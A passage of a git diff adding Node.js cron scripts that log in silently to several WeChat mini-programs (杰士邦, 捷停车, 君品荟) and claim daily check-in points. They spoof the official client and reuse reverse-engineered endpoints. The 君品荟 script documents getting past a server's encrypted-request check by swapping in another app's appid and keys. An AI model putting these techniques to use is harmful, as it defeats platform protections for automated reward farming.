cached.secret || ""; + if (!this.secret) { try { await this.refreshSecret(); } catch (e) {} } + if (await this.validateToken()) { this.log("使用缓存token"); return; } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没绑定嘉立创账号(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录绑定一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/jsb.js b/wxapp/jsb.js new file mode 100644 index 00000000..676261c9 --- /dev/null +++ b/wxapp/jsb.js @@ -0,0 +1,174 @@ +/* +------------------------------------------ +@Description: 杰士邦会员中心 - 微信小程序静默登录 + 每日签到 +cron: 49 8 * * * +------------------------------------------ +变量名:jsb +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx5966681b4a895dee,host api.vshop.hchiv.cn,海氏海诺 vshop 会员中台): +(迁移自 YYB-GO 系脚本;原脚本已是 code 登录 + 纯 JSON 请求,无加密无签名) + +请求:POST,body 由 buildData 合成 = {appId, openId, shopNick, timestamp, interfaceSource:0, ...data} + url 带 query ?sideType=3&mob=&appId=&shopNick=×tamp=(reqType2) + 响应里自动捕获 set-cookie→jsession、data.clientToken→Authorization Bearer、securePlatId +登录 POST /cloud/member/wechatlogin/authLoginApplet {wxInfo:, extend:"{}", sessionIdForWxShop:""} + -> data.openId/unionId;clientToken 由 api 自动从响应捕获 +签状态 POST /cloud/activity/sign/load-sign {activityId} -> data.signed(true=今日已签) +签到 POST /cloud/activity/sign/add-sign {activityId} -> code==200 成功(data.prizeList/integralCount) +activityId=170630 是这家的固定签到活动(原脚本硬编码,会失效则需更新)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("杰士邦会员中心"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jsb"; +const APP = { appid: "wx5966681b4a895dee", shopId: "467028", signActivityId: "170630" }; +const BASE = "https://api.vshop.hchiv.cn/jfmb"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jsb_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/cloud/member/wechatlogin/authLoginApplet"; +const EP_CLIENT = "/cloud/member/tblogin/getClientInfo"; +const EP_SIGN_INFO = "/cloud/activity/sign/load-sign"; +const EP_SIGN = "/cloud/activity/sign/add-sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: APP.appid, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.openid = this.account.openid; + this.global = { appId: APP.appid, openId: "", unionid: "", shopNick: "", mainShopNick: "", jsession: "", clientToken: "", securePlatId: "", phoneNumber: "" }; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + buildData(data = {}, reqType = 2) { + const timestamp = Date.now(); + const common = { appId: this.global.appId, openId: this.global.openId || this.openid, shopNick: this.global.shopNick || "", timestamp, interfaceSource: 0 }; + return reqType === 2 ? { ...common, ...data } : { ...data }; + } + async api(apiPath, data = {}, { reqType = 2 } = {}) { + const headers = { "content-type": "application/json", appenv: "test", "User-Agent": USER_AGENT, Referer: `https://servicewechat.com/${APP.appid}/1/page-frame.html` }; + if (this.global.jsession) headers.cookie = this.global.jsession; + if (this.global.clientToken) headers.Authorization = `Bearer ${this.global.clientToken}`; + const body = this.buildData(typeof data === "string" ? JSON.parse(data) : data, reqType); + const timestamp = Date.now(); + const query = reqType === 2 + ? `?sideType=3&mob=${encodeURIComponent(this.global.phoneNumber || "")}&appId=${encodeURIComponent(this.global.appId)}&shopNick=${encodeURIComponent(this.global.mainShopNick || this.global.appId)}×tamp=${timestamp}${this.global.securePlatId ? `&securePlatId=${encodeURIComponent(this.global.securePlatId)}` : ""}` + : ""; + const res = await axios.request({ method: "POST", url: `${BASE}${apiPath}${query}`, headers, data: body, timeout: 20000, validateStatus: () => true }); + const setCookie = res.headers["set-cookie"]; + if (Array.isArray(setCookie) && setCookie[0]) this.global.jsession = setCookie[0].split(";")[0]; + const token = res.data?.data?.clientToken || res.data?.data?.data?.clientToken; + if (token) this.global.clientToken = token; + const securePlatId = res.data?.data?.data?.securePlatId || res.data?.securePlatId; + if (securePlatId) this.global.securePlatId = securePlatId; + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const auth = await this.api(EP_LOGIN, { wxInfo: code, extend: "{}", sessionIdForWxShop: "" }); + // 响应双层壳:auth.data = {code,message,data:{...}} + const inner = auth?.data || {}; + const payload = inner?.data || {}; + this.global.openId = payload.openId || inner.openId || this.openid; + this.global.unionid = payload.unionId || payload.unionid || ""; + if (!this.global.clientToken) { + this.log("⚠️ authLoginApplet 未返回 clientToken(该微信号可能未在杰士邦注册会员)"); + } else { + this.log("登录成功(clientToken 已获取)"); + } + const cache = readCache(); + cache[this.openid] = { clientToken: this.global.clientToken, openId: this.global.openId, updatedAt: new Date().toISOString() }; + writeCache(cache); + } + async sign() { + const activityId = APP.signActivityId; + const info = await this.api(EP_SIGN_INFO, { activityId }); + const infoBody = info?.data || {}; // 内层 {code,message,data} + const signInfo = infoBody?.data || {}; // 实际载荷 {signed,...} + const infoMsg = infoBody.message || infoBody.msg || ""; + if (Number(infoBody.code) === 204 || /未登录|未注册/.test(infoMsg)) { + return this.log(`⚠️ 该微信号还没在杰士邦注册会员(${infoMsg || "未登录"}),先在小程序里绑定手机号注册一次再跑`); + } + if (Number(infoBody.code) !== 200) return this.log(`❌ 签到活动查询失败 activityId=${activityId}: ${infoMsg || short(info)}`); + if (signInfo.signed) return this.log(`✅ 今日已签到 连续=${signInfo.continuousSignNum ?? 0} 累计=${signInfo.totalSignNum ?? 0}`); + const sign = await this.api(EP_SIGN, { activityId }); + const signBody = sign?.data || {}; + const data = signBody?.data || {}; + const signMsg = signBody.message || signBody.msg || ""; + if (Number(signBody.code) === 200) { + const prizes = Array.isArray(data.prizeList) && data.prizeList.length ? ` 奖励=${data.prizeList.map((x) => x.prizeName || x.name || short(x, 40)).join(",")}` : ""; + return this.log(`✅ 签到成功 +${data.integralCount ?? "?"}积分 连续=${data.continuousSignNum ?? "?"}${prizes}`); + } + if (/已签|签到过|重复|已完成/.test(signMsg)) return this.log(`✅ 今日已签到(${signMsg})`); + this.log(`❌ 签到失败: ${signMsg || short(signBody)}`); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.login(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/jtc.js b/wxapp/jtc.js new file mode 100644 index 00000000..05bae3c1 --- /dev/null +++ b/wxapp/jtc.js @@ -0,0 +1,164 @@ +/* +------------------------------------------ +@Description: 捷停车 - 微信小程序静默登录 + 每日签到 +cron: 57 8 * * * +------------------------------------------ +变量名:jtc +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx24b70f0ad2a9a89a,登录 www.jslife.com.cn / 业务 sytgate.jslife.com.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +登录 POST https://www.jslife.com.cn/wxhttp/weixin/xcx/get_openid_by_code?t= {code, userType:"WX_XCX_JTC", appId} + -> resultCode=="0",obj.token(JWT);解 JWT 的 sub → userId +签到 头 Authorization: Bearer + ① POST /base-gateway/integral/v2/sign-in-task/query {userId, platformType:"WX_XCX_JTC"} + ② POST /base-gateway/integral/v2/task/receive {userId, taskNo:"T00", reqSource:"WX_XCX_JTC", platformType:"WX_XCX_JTC", osType:"WINDOWS", token} + -> resultCode=="0" 成功;已领/已签有对应提示 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("捷停车签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jtc"; +const MINI_APP_ID = "wx24b70f0ad2a9a89a"; +const APP_VERSION = "312"; +const TOKEN_URL = "https://www.jslife.com.cn/wxhttp/weixin/xcx/get_openid_by_code"; +const BASE = "https://sytgate.jslife.com.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jtc_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_SIGN_QUERY = "/base-gateway/integral/v2/sign-in-task/query"; +const EP_TASK_RECEIVE = "/base-gateway/integral/v2/task/receive"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +/** 解 JWT 的 sub(一个 JSON 字符串)里的 userId */ +function userIdFromJwt(token) { + try { + let p = String(token).split(".")[1]; + p += "=".repeat((4 - (p.length % 4)) % 4); + const payload = JSON.parse(Buffer.from(p.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8")); + const sub = typeof payload.sub === "string" ? JSON.parse(payload.sub) : payload.sub || {}; + return String(sub.userId || payload.userId || ""); + } catch (e) { + return ""; + } +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.userId = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await axios.request({ + method: "POST", url: `${TOKEN_URL}?t=${Date.now()}`, + data: { code, userType: "WX_XCX_JTC", appId: MINI_APP_ID }, + headers: { Host: "www.jslife.com.cn", applicationVersion: "1.0.1", "User-Agent": UA, xweb_xhr: "1", "Content-Type": "application/json;charset=UTF-8", Accept: "*/*", Referer: `https://servicewechat.com/${MINI_APP_ID}/${APP_VERSION}/page-frame.html` }, + timeout: 20000, validateStatus: () => true, + }); + const d = res.data || {}; + this.token = (d.obj && d.obj.token) || (d.data && d.data.token) || ""; + if (!this.token) throw new Error(`登录失败: ${d.message || short(d)}`); + this.userId = userIdFromJwt(this.token); + if (!this.userId) throw new Error(`登录 token 未解析出 userId: ${short(d)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, userId: this.userId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async api(apiPath, body) { + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: body || {}, + headers: { "User-Agent": UA, Authorization: `Bearer ${this.token}`, "Content-Type": "application/json", Referer: `https://servicewechat.com/${MINI_APP_ID}/${APP_VERSION}/page-frame.html` }, + timeout: 20000, validateStatus: () => true, + }); + return res.data || {}; + } + async sign(retry = true) { + const q = await this.api(EP_SIGN_QUERY, { userId: this.userId, platformType: "WX_XCX_JTC" }); + // 鉴权失效 + if (retry && /(未登录|token|登录失效|鉴权|unauthorized|401)/i.test(JSON.stringify(q))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.userId = ""; + await this.login(); + return this.sign(false); + } + const qd = q.obj || q.data || {}; + if (qd.todaySigned === true || qd.signed === true || qd.isSign === true) return this.log("✅ 今日已签到"); + const res = await this.api(EP_TASK_RECEIVE, { userId: this.userId, taskNo: "T00", reqSource: "WX_XCX_JTC", platformType: "WX_XCX_JTC", osType: "WINDOWS", token: this.token }); + const msg = res.message || res.msg || short(res); + if (String(res.resultCode) === "0" || res.success) { + const pts = (res.obj || res.data || {}).point || (res.obj || res.data || {}).integral; + return this.log(`✅ 签到成功${pts ? `,积分+${pts}` : ""}`); + } + if (/已签|已领|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token && cached.userId) { this.token = cached.token; this.userId = cached.userId; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/junpinhui.js b/wxapp/junpinhui.js new file mode 100644 index 00000000..f92a2df7 --- /dev/null +++ b/wxapp/junpinhui.js @@ -0,0 +1,746 @@ +/* +君品荟 - 登录、签到、查询、酒谷之旅农场 +cron: 45 8 * * * + +变量名:junpinhui +变量值:wx_server 中保存的 openid/账号标识,多账号用 & 或换行分隔 + 也支持 openid#token 或仅 token +依赖变量:wx_server_url、wx_auth + +------------------------------------------ +关键点:酒谷之旅(garden) 这套后端注册在【习酒】小程序 wx489f950decfeb93e 名下, +不是君品荟自己。2026-08-18 实测定性,三件事都必须换成习酒的身份,缺一个就 5001: + + ① 登录(两段,各耗一个 code,都用习酒 appid 取码) + GET xcx.exijiu.com/anti-channeling/public/index.php/api/v2/auth/session?code= + -> data.login_code (之后当请求头 login_code 带上) + GET apimallwm.exijiu.com/garden/wechat/login?code= + -> data.authorized_token (之后当请求头 Authorization 带上) + authorized_token 是个 JWT,解出来 memberInfo.id 和君品荟侧的 member_id 一致, + 所以是同一个会员,换 appid 不换账号。 + ② 请求头:AppID / Referer 都用习酒 appid,Authorization 放 authorized_token。 + 服务端是按 AppID 头去找"该 appid 的用户密钥"来解 encryptData 的。 + ③ encryptData 的密钥:smallcat /wx/encryptkey 要用【习酒】appid 取, + encrypt_key(24 字符) 和 iv(16 字符) 都按 utf-8 字节直接用 -> AES-192-CBC/PKCS7, + 输出 hex;version 用该次返回的值。明文是 {…业务参数, ts}。 + +对照实验: + 君品荟 appid 的 encryptkey + 君品荟的头 -> 5001「用户信息异常」(这是修之前的行为) + 习酒 appid 的 encryptkey + 君品荟的头 -> 5001(头也得换) + 习酒 appid 的 encryptkey + 习酒的头 -> err=0,签到成功 + {isTodayFirstSign:true, water:"1", tips:"系统赠送您:浇水*1次"} + +另外:/garden/wechat/auth(拿站点自己签发的 key)在 smallcat 体系下走不通 —— +它要用服务端自己 code2Session 得到的 session_key 去解 encryptedData, +而 smallcat 每次调用都会另换一把 session_key,两边永远对不上;上面这条 +/wx/encryptkey 的路子是同一份第三方实现里的另一条分支,实测可用。 +滑块验证(5008) 按规则不绕。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("君品荟"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "junpinhui"; +const MINI_APP_ID = "wx8d41cdc44c8aeaab"; +// 酒谷之旅(garden) 这套后端注册在【习酒】小程序名下,不是君品荟自己。 +// 所以 garden 的登录、请求头、以及 encryptData 用的加密密钥都必须用这个 appid, +// 用君品荟的 appid 去取密钥服务端一律回 5001「用户信息异常」。会员是同一个 +// (garden 登录返回的 authorized_token 里 memberInfo.id 和君品荟侧一致)。 +const GARDEN_APP_ID = "wx489f950decfeb93e"; +const APP_VERSION = "1.0.12"; +const FM_BASE = "https://fm.exijiu.com"; +const GARDEN_BASE = "https://apimallwm.exijiu.com"; +const MAIN_BASE = "https://xcx.exijiu.com/anti-channeling/public/index.php/api/v2"; +const TOKEN_CACHE_FILE = path.join(__dirname, "junpinhui_token_cache.json"); + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); +// garden 侧要用习酒 appid 取 code / 取加密密钥 +const gardenWechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: GARDEN_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`token缓存写入失败: ${e.message || e}`); + } +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function mask(value = "") { + value = String(value); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +function parseAccount(raw) { + const text = String(raw || "").trim(); + if (!text) return { openid: "", token: "" }; + + if (text.startsWith("{")) { + try { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || data.account || "", + token: data.token || data.accessToken || "", + }; + } catch {} + } + + for (const sep of ["#", "|"]) { + if (text.includes(sep)) { + const [openid, ...rest] = text.split(sep); + return { openid: openid.trim(), token: rest.join(sep).trim() }; + } + } + + if (text.length > 40 && !text.startsWith("o")) return { openid: "", token: text }; + return { openid: text, token: "" }; +} + +function headers(token = "") { + return { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${MINI_APP_ID}/215/page-frame.html`, + AppID: MINI_APP_ID, + "App-Version": APP_VERSION, + Authorization: `Basic ${Buffer.from("wechat:wechat_secret").toString("base64")}`, + ...(token ? { "X-Access-Token": token } : {}), + }; +} + +/** + * garden 侧的请求头 —— 必须整套换成【习酒】的身份,服务端是按 AppID 头 + + * Authorization 里的 authorized_token 来决定用哪个 appid 的密钥解 encryptData 的。 + * 混用(君品荟的头 + 习酒的密钥,或反之)一律 5001。 + */ +function gardenHeaders(session = {}) { + return { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${GARDEN_APP_ID}/215/page-frame.html`, + AppID: GARDEN_APP_ID, + "App-Version": APP_VERSION, + ...(session.authorizedToken ? { Authorization: session.authorizedToken } : {}), + ...(session.loginCode ? { login_code: session.loginCode } : {}), + }; +} + +function shortJson(value, limit = 180) { + const text = typeof value === "string" ? value : JSON.stringify(value); + if (!text) return ""; + return text.length > limit ? `${text.slice(0, limit)}...` : text; +} + +function okCode(res) { + return String(res?.code) === "10000" || res?.success === true || Number(res?.err) === 0; +} + +function assertOk(res, action) { + if (!res || !okCode(res)) { + throw new Error(`${action}失败: ${res?.message || res?.msg || res?.errMsg || shortJson(res, 500)}`); + } + return res.data; +} + +async function request(method, base, urlPath, { token = "", data = null, params = null, hdrs = null } = {}) { + const res = await axios({ + method, + url: `${base}${urlPath}`, + data, + params, + timeout: 20000, + validateStatus: () => true, + headers: hdrs || headers(token), + }); + return res.data; +} + +function aesCbcPkcs7Hex(text, key, iv) { + const keyBuf = Buffer.from(String(key), "utf8"); + const ivBuf = Buffer.from(String(iv), "utf8"); + const algo = { 16: "aes-128-cbc", 24: "aes-192-cbc", 32: "aes-256-cbc" }[keyBuf.length]; + if (!algo) throw new Error(`encrypt_key长度异常: ${keyBuf.length}`); + if (ivBuf.length !== 16) throw new Error(`iv长度异常: ${ivBuf.length}`); + const cipher = crypto.createCipheriv(algo, keyBuf, ivBuf); + return cipher.update(text, "utf8", "hex") + cipher.final("hex"); +} + +function listify(value) { + if (Array.isArray(value)) return value; + if (!value || typeof value !== "object") return []; + for (const key of ["list", "data", "records", "items", "rows"]) { + if (Array.isArray(value[key])) return value[key]; + } + return []; +} + +function pickId(item = {}) { + for (const key of ["id", "sorghum_id", "sorghumId", "member_sorghum_id", "memberSorghumId", "land_id", "landId"]) { + if (item[key] !== undefined && item[key] !== null && item[key] !== "") return item[key]; + } + return ""; +} + +function landNo(item = {}) { + return item.serial_number ?? item.serialNumber ?? pickId(item) ?? "?"; +} + +function landStatus(item = {}) { + const value = Number(item.status ?? -1); + return Number.isFinite(value) ? value : -1; +} + +function isPlantable(item = {}) { + return pickId(item) && landStatus(item) === 0; +} + +function isGrowing(item = {}) { + const status = landStatus(item); + return pickId(item) && status > 0 && ![10, 11].includes(status); +} + +function isHarvestable(item = {}) { + return pickId(item) && [10, 11].includes(landStatus(item)); +} + +function isCompleted(task = {}) { + return Number(task.is_complete ?? task.isComplete ?? task.complete ?? task.status_complete ?? 0) === 1; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + const account = parseAccount(raw); + this.openid = account.openid; + this.token = account.token || ""; + this.member = {}; + this.cacheKey = this.openid || (this.token ? md5(this.token).slice(0, 16) : `account_${this.index}`); + } + + getCached() { + return readCache()[this.cacheKey] || {}; + } + + saveCache(extra = {}) { + const cache = readCache(); + cache[this.cacheKey] = { + ...(cache[this.cacheKey] || {}), + openid: this.openid || this.getCached().openid || "", + ...(this.token ? { token: this.token } : {}), + ...extra, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeToken() { + const cache = readCache(); + if (cache[this.cacheKey]) { + delete cache[this.cacheKey].token; + writeCache(cache); + } + } + + async getWxCode() { + if (!this.openid) throw new Error("缺少 openid,无法自动登录"); + const { data } = await wechat.getCode(this.openid); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 code 失败"); + const code = data.data?.code || data.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async login() { + const code = await this.getWxCode(); + const data = assertOk( + await request("post", FM_BASE, "/api/v2/login/wxMiniSilentLogin", { + data: { code }, + }), + "静默登录" + ); + if (!data?.token) throw new Error(`静默登录未返回 token: ${JSON.stringify(data)}`); + this.token = data.token; + this.saveCache({ + unionId: data.unionId || "", + phone: data.phone || "", + mainOpenId: data.openId || "", + }); + $.log(`账号[${this.index}] 登录成功: ${mask(data.phone || data.openId || this.token)}`); + } + + async ensureLogin() { + if (!this.token) this.token = this.getCached().token || ""; + if (this.token) return; + await this.login(); + } + + async withRelogin(fn) { + let res = await fn(); + const msg = `${res?.message || ""}${res?.msg || ""}`; + // 5001 既可能是会话过期也可能是加密不对,两种都靠重登 garden 会话解决 + if (!okCode(res) && this.openid && /登录|授权|token|Token|未认证|失效|重新进入|用户信息异常/.test(msg)) { + $.log(`账号[${this.index}] garden 会话疑似失效,重新登录`); + this.garden = null; + await this.gardenLogin(); + res = await fn(); + } + return res; + } + + /** + * garden 会话:走【习酒】appid 的两段式登录(每次跑消耗 2 个 code)。 + * ① code -> GET {MAIN_BASE}/auth/session?code= -> data.login_code (请求头 login_code) + * ② code -> GET {GARDEN_BASE}/garden/wechat/login?code= -> data.authorized_token(请求头 Authorization) + * 会员和君品荟侧是同一个(authorized_token 的 JWT 里 memberInfo.id 一致)。 + */ + async gardenLogin() { + if (!this.openid) throw new Error("缺少 openid,无法登录 garden"); + const pick = (d) => d?.data?.code || d?.code; + + const r1 = await gardenWechat.getCode(this.openid); + if (!r1?.data?.status) throw new Error(`取 garden code 失败: ${r1?.data?.message || "未知"}`); + const sess = await request("get", MAIN_BASE, "/auth/session", { + params: { code: pick(r1.data) }, + hdrs: gardenHeaders(), + }); + const loginCode = (sess?.data || {}).login_code || ""; + + const r2 = await gardenWechat.getCode(this.openid); + if (!r2?.data?.status) throw new Error(`取 garden code 失败: ${r2?.data?.message || "未知"}`); + const auth = await request("get", GARDEN_BASE, "/garden/wechat/login", { + params: { code: pick(r2.data) }, + hdrs: gardenHeaders({ loginCode }), + }); + const authorizedToken = assertOk(auth, "garden 登录")?.authorized_token; + if (!authorizedToken) throw new Error(`garden 登录未返回 authorized_token: ${shortJson(auth)}`); + + this.garden = { loginCode, authorizedToken }; + $.log(`账号[${this.index}] garden 登录成功`); + } + + async ensureGarden() { + if (!this.garden?.authorizedToken) await this.gardenLogin(); + return this.garden; + } + + async gardenGet(urlPath, params = {}) { + const res = await this.withRelogin(async () => + request("get", GARDEN_BASE, urlPath, { hdrs: gardenHeaders(await this.ensureGarden()), params }) + ); + return assertOk(res, urlPath); + } + + async gardenPost(urlPath, data = {}) { + const res = await this.withRelogin(async () => + request("post", GARDEN_BASE, urlPath, { hdrs: gardenHeaders(await this.ensureGarden()), data }) + ); + return assertOk(res, urlPath); + } + + /** + * encryptData 用的密钥必须取【习酒】appid 的(GARDEN_APP_ID)。 + * 用君品荟自己的 appid 取,服务端一律回 5001「用户信息异常」—— + * 因为它是按请求头里的 AppID 去找对应 appid 的用户密钥来解密的。 + */ + async getEncryptKey() { + if (!this.openid) throw new Error("缺少 openid,无法生成 encryptData"); + const { data } = await axios.post( + `${gardenWechat.serverUrl}/wx/encryptkey`, + { appid: GARDEN_APP_ID, openid: this.openid }, + { + headers: { auth: gardenWechat.auth }, + timeout: 30000, + validateStatus: () => true, + } + ); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 encryptkey 失败"); + const info = data.data || {}; + const encryptKey = info.encryptKey || info.encrypt_key; + const iv = info.iv; + const version = info.version; + if (!encryptKey || !iv || version === undefined) { + throw new Error(`wx_server encryptkey 缺少必要字段: ${JSON.stringify(data)}`); + } + return { encryptKey, iv, version }; + } + + async encryptData(data = {}) { + const payload = data && typeof data === "object" ? { ...data } : {}; + const key = await this.getEncryptKey(); + payload.ts = Date.now(); + payload.encryptData = aesCbcPkcs7Hex(JSON.stringify(payload), key.encryptKey, key.iv); + payload.version = key.version; + return payload; + } + + async encryptedPost(urlPath, data = {}) { + return this.withEncryptHint(urlPath, async () => this.gardenPost(urlPath, await this.encryptData(data))); + } + + async encryptedGet(urlPath, data = {}) { + return this.withEncryptHint(urlPath, async () => this.gardenGet(urlPath, await this.encryptData(data))); + } + + /** + * 加密写接口被拒时补一句根因指向。5001 现在只剩两种可能: + * garden 会话过期(withRelogin 已经自动重登重放过一次),或者密钥拿错了 appid。 + */ + async withEncryptHint(urlPath, fn) { + try { + return await fn(); + } catch (e) { + const msg = String(e.message || e); + if (/用户信息异常|请从小程序重新进入|请删除小程序/.test(msg)) { + throw new Error(`${msg} ← encryptData 校验失败:密钥必须取 ${GARDEN_APP_ID}(习酒) 的,见文件头说明`); + } + if (/滑块|5008/.test(msg)) { + throw new Error(`${msg} ← 触发滑块验证,按规则不绕,请在小程序里手动过一次`); + } + throw e; + } + } + + async queryMember() { + const info = await this.gardenGet("/garden/Gardenmemberinfo/getMemberInfo"); + this.member = info || {}; + this.saveCache({ + memberId: info?.member_id || "", + nickName: info?.nick_name || "", + integration: info?.integration || "", + }); + $.log( + `账号[${this.index}] 会员: ${info?.nick_name || mask(info?.member_id || "")},积分${info?.integration ?? 